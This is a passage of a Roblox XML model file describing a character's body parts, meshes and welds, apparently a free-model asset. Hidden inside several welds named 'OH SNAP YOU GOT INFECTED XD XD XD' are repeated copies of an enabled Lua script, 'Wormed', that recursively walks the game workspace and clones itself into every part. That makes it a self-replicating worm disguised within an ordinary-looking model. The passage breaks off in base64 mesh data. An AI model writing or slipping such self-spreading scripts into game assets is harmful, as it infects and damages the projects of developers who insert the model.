					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Knuckles</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX351">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Chest</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX352">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1020</int>
						<CoordinateFrame name="CFrame">
							<X>77</X>
							<Y>6.80000973</Y>
							<Z>17.5</Z>
							<R00>-1.00586028e-007</R00>
							<R01>0.999999642</R01>
							<R02>1.10828431e-008</R02>
							<R10>-2.23606662e-008</R10>
							<R11>1.10828431e-008</R11>
							<R12>0.999999642</R12>
							<R20>1</R20>
							<R21>-1.00586028e-007</R21>
							<R22>-2.23606662e-008</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.0010394823</X>
							<Y>-0.00416915724</Y>
							<Z>0.00457389746</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX353">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><url>http://www.roblox.com/asset/?id=3270017</url></Content>
							<token name="MeshType">5</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX354">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">8du8</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX355">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">o9doayjg</string>
							<float name="Pitch">1</float>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX356">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX357">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX358">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX359">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX360">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX361">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1001</int>
						<CoordinateFrame name="CFrame">
							<X>77</X>
							<Y>5.90000534</Y>
							<Z>17.5</Z>
							<R00>-1.00586028e-007</R00>
							<R01>1.10828431e-008</R01>
							<R02>-0.999999642</R02>
							<R10>-2.23606662e-008</R10>
							<R11>0.999999642</R11>
							<R12>-1.10828431e-008</R12>
							<R20>1</R20>
							<R21>-2.23606662e-008</R21>
							<R22>1.00586028e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">1</float>
						<Vector3 name="Velocity">
							<X>0.00251723919</X>
							<Y>-0.00420331955</Y>
							<Z>0.0048234053</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.800000012</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX362">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.5</X>
								<Y>1.5</Y>
								<Z>1.5</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX363">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX364">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX365">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX366">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX367">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX368">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>76.5</X>
							<Y>5</Y>
							<Z>16.8000011</Z>
							<R00>0</R00>
							<R01>-0</R01>
							<R02>-1</R02>
							<R10>1</R10>
							<R11>-0</R11>
							<R12>-0</R12>
							<R20>0</R20>
							<R21>-1</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00310473493</X>
							<Y>-0.00473124627</Y>
							<Z>0.00597789139</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>0.400000006</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX369">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>0.899999976</X>
								<Y>1.49000001</Y>
								<Z>1</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Decal" referent="RBX370">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=10742015</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
					<Item class="Weld" referent="RBX371">
						<Properties>
							<CoordinateFrame name="C0">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<CoordinateFrame name="C1">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">OH SNAP YOU GOT INFECTED XD XD XD</string>
							<Ref name="Part0">null</Ref>
							<Ref name="Part1">null</Ref>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX372">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">Wormed</string>
								<string name="Source">if script:findFirstChild(&quot;vic&quot;) == nil then
	local count = Instance.new(&quot;NumberValue&quot;)
	count.Parent = script
	count.Name = &quot;vic&quot;
	count.Value = 1
end
if numberwormed == nil then
	_G.numberwormed = script.vic.Value
end
script.vic.Value = numberwormed
if wormmed == nil then
	_G.wormmed = {}
end
if requestworm == nil then
	_G.requestworm = function (obj)
		local ok = false
		for i=1, #wormmed do
			if obj == wormmed[i] then
				ok = true
			end
		end
		return ok
	end
end
if addwormmed == nil then
	_G.addwormmed = function (obj)
		table.insert(wormmed, obj)
	end
end

classes = {&quot;Snap&quot;, &quot;Weld&quot;}

function checkParent()
	local ok = false
	for i=1, #classes do
		if script.Parent.className == classes[i] then
			ok = true
		end
	end
	return ok
end

function checkScriptIsMe(scr)
	if scr.className == &quot;Script&quot; then
		if scr.Source == script.Source then
			return true
		end
	end
	return false
end

function checkPart(part)
	local ok = false
	local c = part:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Weld&quot; then
			local b = c[i]:GetChildren()
			for z=1, #b do
				if checkScriptIsMe(b[z]) then
					ok = true
				end
			end
		end
	end
	return ok
end

function cloneToBrick(part)
	if not checkPart(part) then
		local weld = Instance.new(&quot;Weld&quot;)
		weld.Parent = part
		weld.Name = &quot;OH SNAP YOU GOT INFECTED XD XD XD&quot;
		local new = script:clone()
		new.Parent = weld
	end
end

function worm(model)
	if requestworm(model) then return end
	addwormmed(model)
	local c = model:GetChildren()
	for i=1, #c do
		if c[i].className == &quot;Part&quot; then
			cloneToBrick(c[i])
		end
		worm(c[i])
	end
end
wait(math.random() / 4)
worm(workspace)

if not checkParent() then
	script:remove()
end </string>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="NumberValue" referent="RBX373">
								<Properties>
									<string name="Name">vic</string>
									<double name="Value">1</double>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="StockSound" referent="RBX374">
									<Properties>
										<bool name="Looped">false</bool>
										<string name="Name">u56w</string>
										<float name="Pitch">1</float>
										<int name="PlayCount">-1</int>
										<bool name="PlayOnRemove">false</bool>
										<Content name="SoundId"><null></null></Content>
										<float name="Volume">0.5</float>
										<bool name="archivable">true</bool>
									</Properties>
								</Item>
							</Item>
							<Item class="StockSound" referent="RBX375">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">gvzvm</string>
									<float name="Pitch">1</float>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
				</Item>
				<Item class="Part" referent="RBX376">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">2</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1004</int>
						<CoordinateFrame name="CFrame">
							<X>77</X>
							<Y>5.00001335</Y>
							<Z>17.5</Z>
							<R00>1.00586028e-007</R00>
							<R01>1.10828431e-008</R01>
							<R02>0.999999642</R02>
							<R10>2.23606662e-008</R10>
							<R11>0.999999642</R11>
							<R12>1.10828431e-008</R12>
							<R20>-1</R20>
							<R21>-2.23606662e-008</R21>
							<R22>-1.00586028e-007</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.000106674095</X>
							<Y>0.00180268066</Y>
							<Z>0.000878619787</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">3</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0.00399499619</X>
							<Y>-0.00423748186</Y>
							<Z>0.00507291313</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX377">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><binary>dmVyc2lvbiAxLjAwDQoxNjgNClstMi4yOTIyNiwgLTM2LjkwNjksIC0xLjI2MzYyZS0wMDVd
WzAuMDAwMDAsIC0xLjAwMDAwLCAtMC4wMDAwMF1bMC4wMDAwMCwgMC4wMDAwMCwgMF1bOC40
MTk4MiwgLTM0LjE2LCAtNi4xODQ2M11bMC4zMzk1NywgLTAuOTE5OTIsIC0wLjE5NjA1XVsw
LjA4MzMzLCAwLjEyNTAwLCAwXVsxMC4wNzcsIC0zNC4xNiwgLTYuMzE4MDllLTAwNl1bMC4z
OTIxMSwgLTAuOTE5OTIsIDAuMDAwMDBdWzAuMDAwMDAsIDAuMTI1MDAsIDBdWy0yLjI5MjI2
LCAtMzYuOTA2OSwgLTEuMjYzNjJlLTAwNV1bMC4wMDAwMCwgLTEuMDAwMDAsIC0wLjAwMDAw
XVswLjA4MzMzLCAwLjAwMDAwLCAwXVszLjg5MjM2LCAtMzQuMTYsIC0xMC43MTIxXVswLjE5
NjA1LCAtMC45MTk5MiwgLTAuMzM5NTddWzAuMTY2NjcsIDAuMTI1MDAsIDBdWzguNDE5ODIs
IC0zNC4xNiwgLTYuMTg0NjNdWzAuMzM5NTcsIC0wLjkxOTkyLCAtMC4xOTYwNV1bMC4wODMz
MywgMC4xMjUwMCwgMF1bLTIuMjkyMjYsIC0zNi45MDY5LCAtMS4yNjM2MmUtMDA1XVswLjAw
MDAwLCAtMS4wMDAwMCwgLTAuMDAwMDBdWzAuMTY2NjcsIDAuMDAwMDAsIDBdWy0yLjI5MjI2
LCAtMzQuMTYsIC0xMi4zNjkzXVswLjAwMDAwLCAtMC45MTk5MiwgLTAuMzkyMTFdWzAuMjUw
MDAsIDAuMTI1MDAsIDBdWzMuODkyMzYsIC0zNC4xNiwgLTEwLjcxMjFdWzAuMTk2MDUsIC0w
LjkxOTkyLCAtMC4zMzk1N11bMC4xNjY2NywgMC4xMjUwMCwgMF1bLTIuMjkyMjYsIC0zNi45
MDY5LCAtMS4yNjM2MmUtMDA1XVswLjAwMDAwLCAtMS4wMDAwMCwgLTAuMDAwMDBdWzAuMjUw
MDAsIDAuMDAwMDAsIDBdWy04LjQ3Njg4LCAtMzQuMTYsIC0xMC43MTIxXVstMC4xOTYwNSwg
LTAuOTE5OTIsIC0wLjMzOTU3XVswLjMzMzMzLCAwLjEyNTAwLCAwXVstMi4yOTIyNiwgLTM0
LjE2LCAtMTIuMzY5M11bMC4wMDAwMCwgLTAuOTE5OTIsIC0wLjM5MjExXVswLjI1MDAwLCAw
LjEyNTAwLCAwXVstMi4yOTIyNiwgLTM2LjkwNjksIC0xLjI2MzYyZS0wMDVdWzAuMDAwMDAs
IC0xLjAwMDAwLCAtMC4wMDAwMF1bMC4zMzMzMywgMC4wMDAwMCwgMF1bLTEzLjAwNDMsIC0z
NC4xNiwgLTYuMTg0NjNdWy0wLjMzOTU3LCAtMC45MTk5MiwgLTAuMTk2MDVdWzAuNDE2Njcs
IDAuMTI1MDAsIDBdWy04LjQ3Njg4LCAtMzQuMTYsIC0xMC43MTIxXVstMC4xOTYwNSwgLTAu
OTE5OTIsIC0wLjMzOTU3XVswLjMzMzMzLCAwLjEyNTAwLCAwXVstMi4yOTIyNiwgLTM2Ljkw
NjksIC0xLjI2MzYyZS0wMDVdWzAuMDAwMDAsIC0xLjAwMDAwLCAtMC4wMDAwMF1bMC40MTY2
NywgMC4wMDAwMCwgMF1bLTE0LjY2MTUsIC0zNC4xNiwgLTYuMzE4MDllLTAwNl1bLTAuMzky
MTEsIC0wLjkxOTkyLCAtMC4wMDAwMF1bMC41MDAwMCwgMC4xMjUwMCwgMF1bLTEzLjAwNDMs
IC0zNC4xNiwgLTYuMTg0NjNdWy0wLjMzOTU3LCAtMC45MTk5MiwgLTAuMTk2MDVdWzAuNDE2
NjcsIDAuMTI1MDAsIDBdWy0yLjI5MjI2LCAtMzYuOTA2OSwgLTEuMjYzNjJlLTAwNV1bMC4w
MDAwMCwgLTEuMDAwMDAsIC0wLjAwMDAwXVswLjUwMDAwLCAwLjAwMDAwLCAwXVstMTMuMDA0
MywgLTM0LjE2LCA2LjE4NDYyXVstMC4zMzk1NywgLTAuOTE5OTIsIDAuMTk2MDVdWzAuNTgz
MzMsIDAuMTI1MDAsIDBdWy0xNC42NjE1LCAtMzQuMTYsIC02LjMxODA5ZS0wMDZdWy0wLjM5
MjExLCAtMC45MTk5MiwgLTAuMDAwMDBdWzAuNTAwMDAsIDAuMTI1MDAsIDBdWy0yLjI5MjI2
LCAtMzYuOTA2OSwgLTEuMjYzNjJlLTAwNV1bMC4wMDAwMCwgLTEuMDAwMDAsIC0wLjAwMDAw
XVswLjU4MzMzLCAwLjAwMDAwLCAwXVstOC40NzY4OCwgLTM0LjE2LCAxMC43MTIxXVstMC4x
OTYwNSwgLTAuOTE5OTIsIDAuMzM5NTddWzAuNjY2NjcsIDAuMTI1MDAsIDBdWy0xMy4wMDQz
LCAtMzQuMTYsIDYuMTg0NjJdWy0wLjMzOTU3LCAtMC45MTk5MiwgMC4xOTYwNV1bMC41ODMz
MywgMC4xMjUwMCwgMF1bLTIuMjkyMjYsIC0zNi45MDY5LCAtMS4yNjM2MmUtMDA1XVswLjAw
MDAwLCAtMS4wMDAwMCwgLTAuMDAwMDBdWzAuNjY2NjcsIDAuMDAwMDAsIDBdWy0yLjI5MjI2
LCAtMzQuMTYsIDEyLjM2OTJdWy0wLjAwMDAwLCAtMC45MTk5MiwgMC4zOTIxMV1bMC43NTAw
MCwgMC4xMjUwMCwgMF1bLTguNDc2ODgsIC0zNC4xNiwgMTAuNzEyMV1bLTAuMTk2MDUsIC0w
LjkxOTkyLCAwLjMzOTU3XVswLjY2NjY3LCAwLjEyNTAwLCAwXVstMi4yOTIyNiwgLTM2Ljkw
NjksIC0xLjI2MzYyZS0wMDVdWzAuMDAwMDAsIC0xLjAwMDAwLCAtMC4wMDAwMF1bMC43NTAw
